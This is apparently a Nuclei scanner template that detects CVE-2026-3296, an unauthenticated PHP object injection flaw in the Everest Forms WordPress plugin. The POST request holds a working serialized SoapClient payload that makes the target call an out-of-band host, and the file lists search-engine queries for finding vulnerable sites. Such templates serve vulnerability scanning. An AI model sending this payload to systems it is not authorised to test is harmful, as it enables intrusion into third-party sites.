id: CVE-2026-3296

info:
  name: Everest Forms WordPress Plugin <= 3.4.3 - PHP Object Injection
  author: DhiyaneshDk
  severity: critical
  description: |
    The Everest Forms plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 3.4.3 via deserialization of untrusted input from form entry metadata. This is due to the html-admin-page-entries-view.php file calling PHP's native unserialize() on stored entry meta values without passing the allowed_classes parameter. This makes it possible for unauthenticated attackers to inject a serialized PHP object payload through any public Everest Forms form field. The payload survives sanitize_text_field() sanitization (serialization control characters are not stripped) and is stored in the wp_evf_entrymeta database table. When an administrator views entries or views an individual entry, the unsafe unserialize() call processes the stored data without class restrictions.
  impact: |
    Unauthenticated attackers can execute arbitrary PHP code when an administrator views malicious form entries, potentially leading to full site compromise.
  remediation: |
    Update to the latest version beyond 3.4.3.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/everest-forms/
    - https://plugins.trac.wordpress.org/browser/everest-forms/
    - https://cisa.gov/known-exploited-vulnerabilities-catalog
    - https://nvd.nist.gov/vuln/detail/CVE-2026-3296
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-3296
    cwe-id: CWE-502
    epss-score: 0.03469
    epss-percentile: 0.87896
  metadata:
    verified: true
    max-request: 2
    vendor: wpeverest
    product: everest_forms
    framework: wordpress
    shodan-query: http.html:"/wp-content/plugins/everest-forms/"
    fofa-query: body="/wp-content/plugins/everest-forms/"
    publicwww-query: "/wp-content/plugins/everest-forms/"
  tags: cve,cve2026,wordpress,wp,wp-plugin,everest-forms,php-object-injection,vkev,vuln,passive

variables:
  oob_uri: "http://{{interactsh-url}}/"
  oob_len: "{{len(oob_uri)}}"

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/everest-forms/readme.txt"

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains(body, 'Everest Forms')"
        condition: and
        internal: true

    extractors:
      - type: regex
        name: version
        part: body
        group: 1
        regex:
          - '(?i)Stable tag:\s*([0-9]+\.[0-9]+(?:\.[0-9]+)?)'
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Referer: {{RootURL}}

        action=evf_submit_form&evf_id=1&evf-field-1=test&evf-fields-meta=O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A{{oob_len}}%3A%22http%3A%2F%2F{{interactsh-url}}%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A{{oob_len}}%3A%22http%3A%2F%2F{{interactsh-url}}%2F%22%3Bs%3A15%3A%22_soap_version%22%3Bi%3A1%3Bs%3A13%3A%22_proxy_host%22%3BN%3B%7D

    matchers-condition: or
    matchers:
      - type: dsl
        dsl:
          - "compare_versions(version, '<= 3.4.3')"

      - type: word
        part: interactsh_protocol
        words:
          - "dns"
# digest: 4a0a0047304502205b706bb51190809de5954cde386e1a7b41e3a3e18a86694e4066d9cecf86d4ab0221009ddd398b0a56fd5201cbbe24d4e843b6b8757b3d6f6716898f8ae57314b8db80:922c64590222798bb761d5b6d8e72950